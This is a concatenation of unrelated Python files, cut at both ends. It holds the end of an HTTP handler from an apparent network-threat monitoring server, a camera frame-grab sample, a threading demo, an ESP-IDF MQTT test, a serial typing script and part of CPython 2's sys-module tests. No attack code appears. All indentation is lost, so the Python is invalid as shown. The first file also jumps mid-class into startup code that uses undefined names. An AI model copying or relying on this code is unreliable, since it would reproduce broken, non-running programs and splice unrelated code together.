self.send_header(HTTP_HEADER.CONNECTION, "close")
self.send_header(HTTP_HEADER.CONTENT_TYPE, "text/plain")
try:
result_worst = worst_asns(params.get("address"))
if result_worst:
result_ipcat = result_worst
else:
_ = (ipcat_lookup(params.get("address")) or "").lower().split(' ')
result_ipcat = _[1] if _[0] == 'the' else _[0]
return ("%s" if not params.get("callback") else "%s(%%s)" % params.get("callback")) % json.dumps({"ipcat": result_ipcat, "worst_asns": str(result_worst is not None).lower()})
except:
if config.SHOW_DEBUG:
traceback.print_exc()
def _trails(self, params):
self.send_response(httplib.OK)
self.send_header(HTTP_HEADER.CONNECTION, "close")
self.send_header(HTTP_HEADER.CONTENT_TYPE, "text/plain")
return open(TRAILS_FILE, "rb").read()
def _ping(self, params):
self.send_response(httplib.OK)
self.send_header(HTTP_HEADER.CONNECTION, "close")
self.send_header(HTTP_HEADER.CONTENT_TYPE, "text/plain")
return PING_RESPONSE
def _events(self, params):
session = self.get_session()
if session is None:
self.send_response(httplib.UNAUTHORIZED)
self.send_header(HTTP_HEADER.CONNECTION, "close")
return None
start, end, size, total = None, None, -1, None
content = None
log_exists = False
dates = params.get("date", "")
if ".." in dates:
pass
elif '_' not in dates:
try:
date = datetime.datetime.strptime(dates, "%Y-%m-%d").strftime("%Y-%m-%d")
event_log_path = os.path.join(config.LOG_DIR, "%s.log" % date)
if os.path.exists(event_log_path):
range_handle = open(event_log_path, "rb")
log_exists = True
except ValueError:
print "[!] invalid date format in request"
log_exists = False
else:
logs_data = ""
date_interval = dates.split("_", 1)
try:
start_date = datetime.datetime.strptime(date_interval[0], "%Y-%m-%d").date()
end_date = datetime.datetime.strptime(date_interval[1], "%Y-%m-%d").date()
for i in xrange(int((end_date - start_date).days) + 1):
date = start_date + datetime.timedelta(i)
event_log_path = os.path.join(config.LOG_DIR, "%s.log" % date.strftime("%Y-%m-%d"))
if os.path.exists(event_log_path):
log_handle = open(event_log_path, "rb")
logs_data += log_handle.read()
log_handle.close()
range_handle = io.BytesIO(logs_data)
log_exists = True
except ValueError:
print "[!] invalid date format in request"
log_exists = False
if log_exists:
range_handle.seek(0, 2)
total = range_handle.tell()
range_handle.seek(0)
if self.headers.get(HTTP_HEADER.RANGE):
match = re.search(r"bytes=(\d+)-(\d+)", self.headers[HTTP_HEADER.RANGE])
if match:
start, end = int(match.group(1)), int(match.group(2))
max_size = end - start + 1
end = min(total - 1, end)
size = end - start + 1
if start == 0 or not session.range_handle:
session.range_handle = range_handle
if session.netfilters is None:
session.range_handle.seek(start)
self.send_response(httplib.PARTIAL_CONTENT)
self.send_header(HTTP_HEADER.CONNECTION, "close")
self.send_header(HTTP_HEADER.CONTENT_TYPE, "text/plain")
self.send_header(HTTP_HEADER.CONTENT_RANGE, "bytes %d-%d/%d" % (start, end, total))
content = session.range_handle.read(size)
else:
self.send_response(httplib.OK)
self.send_header(HTTP_HEADER.CONNECTION, "close")
self.send_header(HTTP_HEADER.CONTENT_TYPE, "text/plain")
buffer, addresses, netmasks, regex = cStringIO.StringIO(), set(), [], ""
for netfilter in session.netfilters:
if not netfilter:
continue
if '/' in netfilter:
netmasks.append(netfilter)
elif re.search(r"\A[\d.]+\Z", netfilter):
addresses.add(netfilter)
elif '\.' in netfilter:
regex = r"\b(%s)\b" % netfilter
else:
print "[!] invalid network filter '%s'" % netfilter
return
for line in session.range_handle:
display = False
ip = None
if regex:
match = re.search(regex, line)
if match:
ip = match.group(1)
display = True
if not display and (addresses or netmasks):
for match in re.finditer(r"\b(\d+\.\d+\.\d+\.\d+)\b", line):
if not display:
ip = match.group(1)
else:
break
if ip in addresses:
display = True
break
elif netmasks:
for _ in netmasks:
prefix, mask = _.split('/')
if addr_to_int(ip) & make_mask(int(mask)) == addr_to_int(prefix):
addresses.add(ip)
display = True
break
if display:
if ",%s" % ip in line or "%s," % ip in line:
line = re.sub(r" ([\d.,]+,)?%s(,[\d.,]+)? " % re.escape(ip), " %s " % ip, line)
buffer.write(line)
if buffer.tell() >= max_size:
break
content = buffer.getvalue()
end = start + len(content) - 1
self.send_header(HTTP_HEADER.CONTENT_RANGE, "bytes %d-%d/%d" % (start, end, end + 1 + max_size * (len(content) >= max_size)))
if len(content) < max_size:
session.range_handle.close()
session.range_handle = None
if size == -1:
self.send_response(httplib.OK)
self.send_header(HTTP_HEADER.CONNECTION, "close")
self.send_header(HTTP_HEADER.CONTENT_TYPE, "text/plain")
self.end_headers()
with range_handle as f:
while True:
data = f.read(io.DEFAULT_BUFFER_SIZE)
if not data:
break
else:
self.wfile.write(data)
else:
self.send_response(httplib.OK) # instead of httplib.NO_CONTENT (compatibility reasons)
self.send_header(HTTP_HEADER.CONNECTION, "close")
if self.headers.get(HTTP_HEADER.RANGE):
self.send_header(HTTP_HEADER.CONTENT_RANGE, "bytes 0-0/0")
return content
def _counts(self, params):
counts = {}
session = self.get_session()
if session is None:
self.send_response(httplib.UNAUTHORIZED)
self.send_header(HTTP_HEADER.CONNECTION, "close")
return None
self.send_response(httplib.OK)
self.send_header(HTTP_HEADER.CONNECTION, "close")
self.send_header(HTTP_HEADER.CONTENT_TYPE, "application/json")
match = re.search(r"\d+\-\d+\-\d+", params.get("from", ""))
if match:
min_ = datetime.datetime.strptime(match.group(0), DATE_FORMAT)
else:
min_ = datetime.datetime.fromtimestamp(0)
match = re.search(r"\d+\-\d+\-\d+", params.get("to", ""))
if match:
max_ = datetime.datetime.strptime(match.group(0), DATE_FORMAT)
else:
max_ = datetime.datetime.now()
min_ = min_.replace(hour=0, minute=0, second=0, microsecond=0)
max_ = max_.replace(hour=23, minute=59, second=59, microsecond=999999)
for filepath in sorted(glob.glob(os.path.join(config.LOG_DIR, "*.log"))):
filename = os.path.basename(filepath)
if not re.search(r"\A\d{4}-\d{2}-\d{2}\.log\Z", filename):
continue
try:
current = datetime.datetime.strptime(os.path.splitext(filename)[0], DATE_FORMAT)
except:
if config.SHOW_DEBUG:
traceback.print_exc()
else:
if min_ <= current <= max_:
timestamp = int(time.mktime(current.timetuple()))
size = os.path.getsize(filepath)
with open(filepath, "rb") as f:
content = f.read(io.DEFAULT_BUFFER_SIZE)
if size >= io.DEFAULT_BUFFER_SIZE:
total = 1.0 * content.count('\n') * size / io.DEFAULT_BUFFER_SIZE
counts[timestamp] = int(round(total / 100) * 100)
else:
counts[timestamp] = content.count('\n')
return json.dumps(counts)
class SSLReqHandler(ReqHandler):
def setup(self):
self.connection = self.request
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
# IPv6 support
if ':' in (address or ""):
address = address.strip("[]")
BaseHTTPServer.HTTPServer.address_family = socket.AF_INET6
# Reference: https://github.com/squeaky-pl/zenchmarks/blob/master/vendor/twisted/internet/tcp.py
_AI_NUMERICSERV = getattr(socket, "AI_NUMERICSERV", 0)
_NUMERIC_ONLY = socket.AI_NUMERICHOST | _AI_NUMERICSERV
_address = socket.getaddrinfo(address, int(port) if str(port or "").isdigit() else 0, 0, 0, 0, _NUMERIC_ONLY)[0][4]
else:
_address = (address or '', int(port) if str(port or "").isdigit() else 0)
try:
if pem:
server = SSLThreadingServer(_address, pem, SSLReqHandler)
else:
server = ThreadingServer(_address, ReqHandler)
except Exception as ex:
if "Address already in use" in str(ex):
exit("[!] another instance already running")
elif "Name or service not known" in str(ex):
exit("[!] invalid configuration value for 'HTTP_ADDRESS' ('%s')" % config.HTTP_ADDRESS)
elif "Cannot assign requested address" in str(ex):
exit("[!] can't use configuration value for 'HTTP_ADDRESS' ('%s')" % config.HTTP_ADDRESS)
else:
raise
print "[i] starting HTTP%s server at 'http%s://%s:%d/'" % ('S' if pem else "", 's' if pem else "", server.server_address[0], server.server_address[1])
print "[o] running..."
if join:
server.serve_forever()
else:
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()
|
GrabImage.py | # -- coding: utf-8 --
import sys
import threading
import msvcrt
from ctypes import *
sys.path.append("../MvImport")
from MvCameraControl_class import *
g_bExit = False
# 为线程定义一个函数
def work_thread(cam=0, pData=0, nDataSize=0):
stOutFrame = MV_FRAME_OUT()
memset(byref(stOutFrame), 0, sizeof(stOutFrame))
while True:
ret = cam.MV_CC_GetImageBuffer(stOutFrame, 1000)
if None != stOutFrame.pBufAddr and 0 == ret:
print ("get one frame: Width[%d], Height[%d], nFrameNum[%d]" % (stOutFrame.stFrameInfo.nWidth, stOutFrame.stFrameInfo.nHeight, stOutFrame.stFrameInfo.nFrameNum))
nRet = cam.MV_CC_FreeImageBuffer(stOutFrame)
else:
print ("no data[0x%x]" % ret)
if g_bExit == True:
break
if __name__ == "__main__":
deviceList = MV_CC_DEVICE_INFO_LIST()
tlayerType = MV_GIGE_DEVICE | MV_USB_DEVICE
# ch:枚举设备 | en:Enum device
ret = MvCamera.MV_CC_EnumDevices(tlayerType, deviceList)
if ret != 0:
print ("enum devices fail! ret[0x%x]" % ret)
sys.exit()
if deviceList.nDeviceNum == 0:
print ("find no device!")
sys.exit()
print ("Find %d devices!" % deviceList.nDeviceNum)
for i in range(0, deviceList.nDeviceNum):
mvcc_dev_info = cast(deviceList.pDeviceInfo[i], POINTER(MV_CC_DEVICE_INFO)).contents
if mvcc_dev_info.nTLayerType == MV_GIGE_DEVICE:
print ("\ngige device: [%d]" % i)
strModeName = ""
for per in mvcc_dev_info.SpecialInfo.stGigEInfo.chModelName:
strModeName = strModeName + chr(per)
print ("device model name: %s" % strModeName)
nip1 = ((mvcc_dev_info.SpecialInfo.stGigEInfo.nCurrentIp & 0xff000000) >> 24)
nip2 = ((mvcc_dev_info.SpecialInfo.stGigEInfo.nCurrentIp & 0x00ff0000) >> 16)
nip3 = ((mvcc_dev_info.SpecialInfo.stGigEInfo.nCurrentIp & 0x0000ff00) >> 8)
nip4 = (mvcc_dev_info.SpecialInfo.stGigEInfo.nCurrentIp & 0x000000ff)
print ("current ip: %d.%d.%d.%d\n" % (nip1, nip2, nip3, nip4))
elif mvcc_dev_info.nTLayerType == MV_USB_DEVICE:
print ("\nu3v device: [%d]" % i)
strModeName = ""
for per in mvcc_dev_info.SpecialInfo.stUsb3VInfo.chModelName:
if per == 0:
break
strModeName = strModeName + chr(per)
print ("device model name: %s" % strModeName)
strSerialNumber = ""
for per in mvcc_dev_info.SpecialInfo.stUsb3VInfo.chSerialNumber:
if per == 0:
break
strSerialNumber = strSerialNumber + chr(per)
print ("user serial number: %s" % strSerialNumber)
nConnectionNum = input("please input the number of the device to connect:")
if int(nConnectionNum) >= deviceList.nDeviceNum:
print ("intput error!")
sys.exit()
# ch:创建相机实例 | en:Creat Camera Object
cam = MvCamera()
# ch:选择设备并创建句柄 | en:Select device and create handle
stDeviceList = cast(deviceList.pDeviceInfo[int(nConnectionNum)], POINTER(MV_CC_DEVICE_INFO)).contents
ret = cam.MV_CC_CreateHandle(stDeviceList)
if ret != 0:
print ("create handle fail! ret[0x%x]" % ret)
sys.exit()
# ch:打开设备 | en:Open device
ret = cam.MV_CC_OpenDevice(MV_ACCESS_Exclusive, 0)
if ret != 0:
print ("open device fail! ret[0x%x]" % ret)
sys.exit()
# ch:探测网络最佳包大小(只对GigE相机有效) | en:Detection network optimal package size(It only works for the GigE camera)
if stDeviceList.nTLayerType == MV_GIGE_DEVICE:
nPacketSize = cam.MV_CC_GetOptimalPacketSize()
if int(nPacketSize) > 0:
ret = cam.MV_CC_SetIntValue("GevSCPSPacketSize",nPacketSize)
if ret != 0:
print ("Warning: Set Packet Size fail! ret[0x%x]" % ret)
else:
print ("Warning: Get Packet Size fail! ret[0x%x]" % nPacketSize)
stBool = c_bool(False)
ret =cam.MV_CC_GetBoolValue("AcquisitionFrameRateEnable", stBool)
if ret != 0:
print ("get AcquisitionFrameRateEnable fail! ret[0x%x]" % ret)
sys.exit()
# ch:设置触发模式为off | en:Set trigger mode as off
ret = cam.MV_CC_SetEnumValue("TriggerMode", MV_TRIGGER_MODE_OFF)
if ret != 0:
print ("set trigger mode fail! ret[0x%x]" % ret)
sys.exit()
# ch:开始取流 | en:Start grab image
ret = cam.MV_CC_StartGrabbing()
if ret != 0:
print ("start grabbing fail! ret[0x%x]" % ret)
sys.exit()
try:
hThreadHandle = threading.Thread(target=work_thread, args=(cam, None, None))
hThreadHandle.start()
except:
print ("error: unable to start thread")
print ("press a key to stop grabbing.")
msvcrt.getch()
g_bExit = True
hThreadHandle.join()
# ch:停止取流 | en:Stop grab image
ret = cam.MV_CC_StopGrabbing()
if ret != 0:
print ("stop grabbing fail! ret[0x%x]" % ret)
sys.exit()
# ch:关闭设备 | Close device
ret = cam.MV_CC_CloseDevice()
if ret != 0:
print ("close deivce fail! ret[0x%x]" % ret)
sys.exit()
# ch:销毁句柄 | Destroy handle
ret = cam.MV_CC_DestroyHandle()
if ret != 0:
print ("destroy handle fail! ret[0x%x]" % ret)
sys.exit()
|
multithreading.py | import threading
import os
x=0
def process():
global x
print("process")
x+=1
def thread_task(lock):
"""
This function process each inference
"""
print("Task assigned to thread: {}".format(threading.current_thread().name))
print("ID of process running task: {}".format(os.getpid()))
lock.acquire()
process() #process
lock.release()
def main():
global x
x=0
lock=threading.Lock()
t1=threading.Thread(target=thread_task,args=(lock,),name='[T1]')
t2=threading.Thread(target=thread_task,args=(lock,),name='[T2]')
t3=threading.Thread(target=thread_task,args=(lock,),name='[T3]')
t1.start()
t2.start()
t3.start()
t1.join()
t2.join()
t3.join()
if __name__=="__main__":
for i in range(10):
main()
print (i,x)
|
mqtt_tcp_example_test.py | import re
import os
import sys
import socket
from threading import Thread
import struct
import time
from tiny_test_fw import DUT
import ttfw_idf
msgid = -1
def get_my_ip():
s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s1.connect(("8.8.8.8", 80))
my_ip = s1.getsockname()[0]
s1.close()
return my_ip
def mqqt_server_sketch(my_ip, port):
global msgid
print("Starting the server on {}".format(my_ip))
s = None
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(60)
s.bind((my_ip, port))
s.listen(1)
q,addr = s.accept()
q.settimeout(30)
print("connection accepted")
except Exception:
print("Local server on {}:{} listening/accepting failure: {}"
"Possibly check permissions or firewall settings"
"to accept connections on this address".format(my_ip, port, sys.exc_info()[0]))
raise
data = q.recv(1024)
# check if received initial empty message
print("received from client {}".format(data))
data = bytearray([0x20, 0x02, 0x00, 0x00])
q.send(data)
# try to receive qos1
data = q.recv(1024)
msgid = struct.unpack(">H", data[15:17])[0]
print("received from client {}, msgid: {}".format(data, msgid))
data = bytearray([0x40, 0x02, data[15], data[16]])
q.send(data)
time.sleep(5)
s.close()
print("server closed")
@ttfw_idf.idf_example_test(env_tag="Example_WIFI")
def test_examples_protocol_mqtt_qos1(env, extra_data):
global msgid
"""
steps: (QoS1: Happy flow)
1. start the broker broker (with correctly sending ACK)
2. DUT client connects to a broker and publishes qos1 message
3. Test evaluates that qos1 message is queued and removed from queued after ACK received
4. Test the broker received the same message id evaluated in step 3
"""
dut1 = env.get_dut("mqtt_tcp", "examples/protocols/mqtt/tcp", dut_class=ttfw_idf.ESP32DUT)
# check and log bin size
binary_file = os.path.join(dut1.app.binary_path, "mqtt_tcp.bin")
bin_size = os.path.getsize(binary_file)
ttfw_idf.log_performance("mqtt_tcp_bin_size", "{}KB".format(bin_size // 1024))
ttfw_idf.check_performance("mqtt_tcp_size", bin_size // 1024)
# 1. start mqtt broker sketch
host_ip = get_my_ip()
thread1 = Thread(target=mqqt_server_sketch, args=(host_ip,1883))
thread1.start()
# 2. start the dut test and wait till client gets IP address
dut1.start_app()
# waiting for getting the IP address
try:
ip_address = dut1.expect(re.compile(r" sta ip: ([^,]+),"), timeout=30)
print("Connected to AP with IP: {}".format(ip_address))
except DUT.ExpectTimeout:
raise ValueError('ENV_TEST_FAILURE: Cannot connect to AP')
print("writing to device: {}".format("mqtt://" + host_ip + "\n"))
dut1.write("mqtt://" + host_ip + "\n")
thread1.join()
print("Message id received from server: {}".format(msgid))
# 3. check the message id was enqueued and then deleted
msgid_enqueued = dut1.expect(re.compile(r"OUTBOX: ENQUEUE msgid=([0-9]+)"), timeout=30)
msgid_deleted = dut1.expect(re.compile(r"OUTBOX: DELETED msgid=([0-9]+)"), timeout=30)
# 4. check the msgid of received data are the same as that of enqueued and deleted from outbox
if (msgid_enqueued[0] == str(msgid) and msgid_deleted[0] == str(msgid)):
print("PASS: Received correct msg id")
else:
print("Failure!")
raise ValueError('Mismatch of msgid: received: {}, enqueued {}, deleted {}'.format(msgid, msgid_enqueued, msgid_deleted))
if __name__ == '__main__':
test_examples_protocol_mqtt_qos1()
|
mediocreTypewriter.py | #!/usr/bin/env python
# coding=utf-8
import sys
import threading
import time
import readchar
import serial
try:
from queue import Queue
except ImportError:
from Queue import Queue
# define a function that will be run in a thread and will
# read character input and buffer it
def readChars(q):
t = threading.currentThread()
while getattr(t, "do_run", True):
key = readchar.readchar()
q.put(key)
# setup serial
ser = serial.Serial('/dev/cu.LightBlue-Bean', 57600, timeout=0.5)
# wait a bit
time.sleep(0.5)
q = Queue()
if __name__ == "__main__":
t = threading.Thread(target=readChars, args=(q,))
num = 0
print("Please start typing! (ctrl-c or ctrl-d to quit, ctrl-g for bell)")
t.start()
while True:
if not q.empty():
key = q.get()
if key == '\r':
print('\r')
else:
if key != '\x07': # ignore bell for terminal
sys.stdout.write(key)
sys.stdout.flush()
if key == '\x03' or key == '\x04': # ctrl-c or ctrl-d
t.do_run = False
print("\r\nPress a key to stop.\r")
t.join()
break
ser.write(key)
time.sleep(0.1)
print("Cleaning up!")
ser.close()
|
test_sys.py | # -*- coding: iso-8859-1 -*-
import unittest, test.test_support
from test.script_helper import assert_python_ok, assert_python_failure
import sys, os, cStringIO
import struct
import operator
class SysModuleTest(unittest.TestCase):
def tearDown(self):
test.test_support.reap_children()
def test_original_displayhook(self):
import __builtin__
savestdout = sys.stdout
out = cStringIO.StringIO()
sys.stdout = out
dh = sys.__displayhook__
self.assertRaises(TypeError, dh)
if hasattr(__builtin__, "_"):
del __builtin__._
dh(None)
self.assertEqual(out.getvalue(), "")
self.assertTrue(not hasattr(__builtin__, "_"))
dh(42)
self.assertEqual(out.getvalue(), "42\n")
self.assertEqual(__builtin__._, 42)
del sys.stdout
self.assertRaises(RuntimeError, dh, 42)
sys.stdout = savestdout
def test_lost_displayhook(self):
olddisplayhook = sys.displayhook
del sys.displayhook
code = compile("42", "<string>", "single")
self.assertRaises(RuntimeError, eval, code)
sys.displayhook = olddisplayhook
def test_custom_displayhook(self):
olddisplayhook = sys.displayhook
def baddisplayhook(obj):
raise ValueError
sys.displayhook = baddisplayhook
code = compile("42", "<string>", "single")
self.assertRaises(ValueError, eval, code)
sys.displayhook = olddisplayhook
def test_original_excepthook(self):
savestderr = sys.stderr
err = cStringIO.StringIO()
sys.stderr = err
eh = sys.__excepthook__
self.assertRaises(TypeError, eh)
try:
raise ValueError(42)
except ValueError, exc:
eh(*sys.exc_info())
sys.stderr = savestderr
self.assertTrue(err.getvalue().endswith("ValueError: 42\n"))
# FIXME: testing the code for a lost or replaced excepthook in
# Python/pythonrun.c::PyErr_PrintEx() is tricky.
def test_exc_clear(self):
self.assertRaises(TypeError, sys.exc_clear, 42)
# Verify that exc_info is present and matches exc, then clear it, and
# check that it worked.
def clear_check(exc):
typ, value, traceback = sys.exc_info()
self.assertTrue(typ is not None)
self.assertTrue(value is exc)
self.assertTrue(traceback is not None)
with test.test_support.check_py3k_warnings():
sys.exc_clear()
typ, value, traceback = sys.exc_info()
self.assertTrue(typ is None)
self.assertTrue(value is None)
self.assertTrue(traceback is None)
def clear():
try:
raise ValueError, 42
except ValueError, exc:
clear_check(exc)
# Raise an exception and check that it can be cleared
clear()
# Verify that a frame currently handling an exception is
# unaffected by calling exc_clear in a nested frame.
try:
raise ValueError, 13
except ValueError, exc:
typ1, value1, traceback1 = sys.exc_info()
clear()
typ2, value2, traceback2 = sys.exc_info()
self.assertTrue(typ1 is typ2)
self.assertTrue(value1 is exc)
self.assertTrue(value1 is value2)
self.assertTrue(traceback1 is traceback2)
# Check that an exception can be cleared outside of an except block
clear_check(exc)
def test_exit(self):
# call with two arguments
self.assertRaises(TypeError, sys.exit, 42, 42)
# call without argument
with self.assertRaises(SystemExit) as cm:
sys.exit()
self.assertIsNone(cm.exception.code)
rc, out, err = assert_python_ok('-c', 'import sys; sys.exit()')
self.assertEqual(rc, 0)
self.assertEqual(out, b'')
self.assertEqual(err, b'')
# call with integer argument
with self.assertRaises(SystemExit) as cm:
sys.exit(42)
self.assertEqual(cm.exception.code, 42)
# call with tuple argument with one entry
# entry will be unpacked
with self.assertRaises(SystemExit) as cm:
sys.exit((42,))
self.assertEqual(cm.exception.code, 42)
# call with string argument
with self.assertRaises(SystemExit) as cm:
sys.exit("exit")
self.assertEqual(cm.exception.code, "exit")
# call with tuple argument with two entries
with self.assertRaises(SystemExit) as cm:
sys.exit((17, 23))
self.assertEqual(cm.exception.code, (17, 23))
# test that the exit machinery handles SystemExits properly
# both unnormalized...
rc, out, err = assert_python_failure('-c', 'raise SystemExit, 46')
self.assertEqual(rc, 46)
self.assertEqual(out, b'')
self.assertEqual(err, b'')
# ... and normalized
rc, out, err = assert_python_failure('-c', 'raise SystemExit(47)')
self.assertEqual(rc, 47)
self.assertEqual(out, b'')
self.assertEqual(err, b'')
def check_exit_message(code, expected, **env_vars):
rc, out, err = assert_python_failure('-c', code, **env_vars)
self.assertEqual(rc, 1)
self.assertEqual(out, b'')
self.assertTrue(err.startswith(expected),
"%s doesn't start with %s" % (repr(err), repr(expected)))
# test that stderr buffer is flushed before the exit message is written
# into stderr
check_exit_message(
r'import sys; sys.stderr.write("unflushed,"); sys.exit("message")',
b"unflushed,message")
# test that the unicode message is encoded to the stderr encoding
check_exit_message(
r'import sys; sys.exit(u"h\xe9")',
b"h\xe9", PYTHONIOENCODING='latin-1')
def test_getdefaultencoding(self):
if test.test_support.have_unicode:
self.assertRaises(TypeError, sys.getdefaultencoding, 42)
# can't check more than the type, as the user might have changed it
self.assertIsInstance(sys.getdefaultencoding(), str)
# testing sys.settrace() is done in test_sys_settrace.py
# testing sys.setprofile() is done in test_sys_setprofile.py
def test_setcheckinterval(self):
self.assertRaises(TypeError, sys.setcheckinterval)
orig = sys.getcheckinterval()
for n in 0, 100, 120, orig: # orig last to restore starting state
sys.setcheckinterval(n)
self.assertEqual(sys.getcheckinterval(), n)
def test_recursionlimit(self):
self.assertRaises(TypeError, sys.getrecursionlimit, 42)
oldlimit = sys.getrecursionlimit()
self.assertRaises(TypeError, sys.setrecursionlimit)
self.assertRaises(ValueError, sys.setrecursionlimit, -42)
sys.setrecursionlimit(10000)
self.assertEqual(sys.getrecursionlimit(), 10000)
sys.setrecursionlimit(oldlimit)
self.assertRaises(OverflowError, sys.setrecursionlimit, 1 << 31)
try:
sys.setrecursionlimit((1 << 31) - 5)
try:
# issue13546: isinstance(e, ValueError) used to fail
# when the recursion limit is close to 1<<31
raise ValueError()
except ValueError, e:
pass
finally:
sys.setrecursionlimit(oldlimit)
def test_getwindowsversion(self):
# Raise SkipTest if sys doesn't have getwindowsversion attribute
test.test_support.get_attribute(sys, "getwindowsversion")
v = sys.getwindowsversion()
self.assertEqual(len(v), 5)
self.assertIsInstance(v[0], int)
self.assertIsInstance(v[1], int)
self.assertIsInstance(v[2], int)
self.assertIsInstance(v[3], int)
self.assertIsInstance(v[4], str)
self.assertRaises(IndexError, operator.getitem, v, 5)
self.assertIsInstance(v.major, int)
self.assertIsInstance(v.minor, int)
self.assertIsInstance(v.build, int)
self.assertIsInstance(v.platform, int)
self.assertIsInstance(v.service_pack, str)
self.assertIsInstance(v.service_pack_minor, int)
self.assertIsInstance(v.service_pack_major, int)
self.assertIsInstance(v.suite_mask, int)
self.assertIsInstance(v.product_type, int)
self.assertEqual(v[0], v.major)
self.assertEqual(v[1], v.minor)
self.assertEqual(v[2], v.build)
self.assertEqual(v[3], v.platform)
self.assertEqual(v[4], v.service_pack)
# This is how platform.py calls it. Make sure tuple
# still has 5 elements
maj, min, buildno, plat, csd = sys.getwindowsversion()
@unittest.skipUnless(hasattr(sys, "setdlopenflags"),
'test needs sys.setdlopenflags()')
def test_dlopenflags(self):
self.assertTrue(hasattr(sys, "getdlopenflags"))
self.assertRaises(TypeError, sys.getdlopenflags, 42)
oldflags = sys.getdlopenflags()
self.assertRaises(TypeError, sys.setdlopenflags)
sys.setdlopenflags(oldflags+1)
self.assertEqual(sys.getdlopenflags(), oldflags+1)
sys.setdlopenflags(oldflags)
def test_refcount(self):
# n here must be a global in order for this test to pass while
# tracing with a python function. Tracing calls PyFrame_FastToLocals
# which will add a copy of any locals to the frame object, causing
# the reference count to increase by 2 instead of 1.
global n
self.assertRaises(TypeError, sys.getrefcount)
c = sys.getrefcount(None)
n = None
self.assertEqual(sys.getrefcount(None), c+1)
del n
self.assertEqual(sys.getrefcount(None), c)
if hasattr(sys, "gettotalrefcount"):
self.assertIsInstance(sys.gettotalrefcount(), int)
def test_getframe(self):
self.assertRaises(TypeError, sys._getframe, 42, 42)
self.assertRaises(ValueError, sys._getframe, 2000000000)
self.assertTrue(
SysModuleTest.test_getframe.im_func.func_code \
is sys._getframe().f_code
)
# sys._current_frames() is a CPython-only gimmick.
def test_current_frames(self):
have_threads = True
try:
import thread
except ImportError:
have_threads = False
if have_threads:
self.current_frames_with_threads()
else:
self.current_frames_without_threads()
# Test sys._current_frames() in a WITH_THREADS build.
@test.test_support.reap_threads
def current_frames_with_threads(self):
import threading, thread
import traceback
# Spawn a thread that blocks at a known place. Then the main
# thread does sys._current_frames(), and verifies that the frames
# returned make sense.
entered_g = threading.Event()
leave_g = threading.Event()
thread_info = [] # the thread's id
def f123():
g456()
def g456():
thread_info.append(thread.get_ident())
entered_g.set()
leave_g.wait()
t = threading.Thread(target=f123)
t.start()
entered_g.wait()
# At this point, t has finished its entered_g.set(), although it's
# impossible to guess whether it's still on that line or has moved on
# to its leave_g.wait().
self.assertEqual(len(thread_info), 1)
thread_id = thread_info[0]
d = sys._current_frames()
main_id = thread.get_ident()
self.assertIn(main_id, d)
self.assertIn(thread_id, d)
# Verify that the captured main-thread frame is _this_ frame.
frame = d.pop(main_id)
self.assertTrue(frame is sys._getframe())
# Verify that the captured thread frame is blocked in g456, called
# from f123. This is a litte tricky, since various bits of
# threading.py are also in the thread's call stack.
frame = d.pop(thread_id)
stack = traceback.extract_stack(frame)
for i, (filename, lineno, funcname, sourceline) in enumerate(stack):
if funcname == "f123":
break
else:
self.fail("didn't find f123() on thread's call stack")
self.assertEqual(sourceline, "g456()")
# And the next record must be for g456().
filename, lineno, funcname, sourceline = stack[i+1]
self.assertEqual(funcname, "g456")
self.assertIn(sourceline, ["leave_g.wait()", "entered_g.set()"])
# Reap the spawned thread.
leave_g.set()
t.join()
# Test sys._current_frames() when thread support doesn't exist.
def current_frames_without_threads(self):
# Not much happens here: there is only one thread, with artificial
# "thread id" 0.
d = sys._current_frames()
self.assertEqual(len(d), 1)
self.assertIn(0, d)
self.assertTrue(d[0] is sys._getframe())
def test_attributes(self):
self.assertIsInstance(sys.api_version, int)
self.assertIsInstance(sys.argv, list)
self.assertIn(sys.byteorder, ("little", "big"))
self.assertIsInstance(sys.builtin_module_names, tuple)
self.assertIsInstance(sys.copyright, basestring)
self.assertIsInstance(sys.exec_prefix, basestring)
self.assertIsInstance(sys.executable, basestring)
self.assertEqual(len(sys.float_info), 11)
self.assertEqual(sys.float_info.radix, 2)
self.assertEqual(len(sys.long_info), 2)
self.assertTrue(sys.long_info.bits_per_digit % 5 == 0)
self.assertTrue(sys.long_info.sizeof_digit >= 1)
self.assertEqual(type(sys.long_info.bits_per_digit), int)
self.assertEqual(type(sys.long_info.sizeof_digit), int)
self.assertIsInstance(sys.hexversion, int)
self.assertIsInstance(sys.maxint, int)
if test.test_support.have_unicode:
self.assertIsInstance(sys.maxunicode, int)
self.assertIsInstance(sys.platform, basestring)
self.assertIsInstance(sys.prefix, basestring)
self.assertIsInstance(sys.version, basestring)
vi = sys.version_info
self.assertIsInstance(vi[:], tuple)
self.assertEqual(len(vi), 5)
self.assertIsInstance(vi[0], int)
self.assertIsInstance(vi[1], int)
self.assertIsInstance(vi[2], int)
self.assertIn(vi[3], ("alpha", "beta", "candidate", "final"))
self.assertIsInstance(vi[4], int)
self.assertIsInstance(vi.major, int)
self.assertIsInstance(vi.minor, int)
self.assertIsInstance(vi.micro, int)
self.assertIn(vi.releaselevel, ("alpha", "beta", "candidate", "final"))
self.assertIsInstance(vi.serial, int)
self.assertEqual(vi[0], vi.major)
self.assertEqual(vi[1], vi.minor)
self.assertEqual(vi[2], vi.micro)
self.assertEqual(vi[3], vi.releaselevel)
self.assertEqual(vi[4], vi.serial)
self.assertTrue(vi > (1,0,0))
self.assertIsInstance(sys.float_repr_style, str)
self.assertIn(sys.float_repr_style, ('short', 'legacy'))
def test_43581(self):
# Can't use sys.stdout, as this is a cStringIO object when
# the test runs under regrtest.
if not (os.environ.get('PYTHONIOENCODING') or
(sys.__stdout__.isatty() and sys.__stderr__.isatty())):
self.skipTest('stdout/stderr encoding is not set')
self.assertEqual(sys.__stdout__.encoding, sys.__stderr__.encoding)
def test_sys_flags(self):
self.assertTrue(sys.flags)
attrs = ("debug", "py3k_warning", "division_warning", "division_new",
"inspect", "interactive", "optimize", "dont_write_bytecode",
"no_site", "ignore_environment", "tabcheck", "verbose",
"unicode", "bytes_warning", "hash_randomization")
for attr in attrs:
self.assertTrue(hasattr(sys.flags, attr), attr)
self.assertEqual(type(getattr(sys.flags, attr)), int, attr)
self.assertTrue(repr(sys.flags))
@test.test_support.cpython_only
def test_clear_type_cache(self):
sys._clear_type_cache()
def test_ioencoding(self):
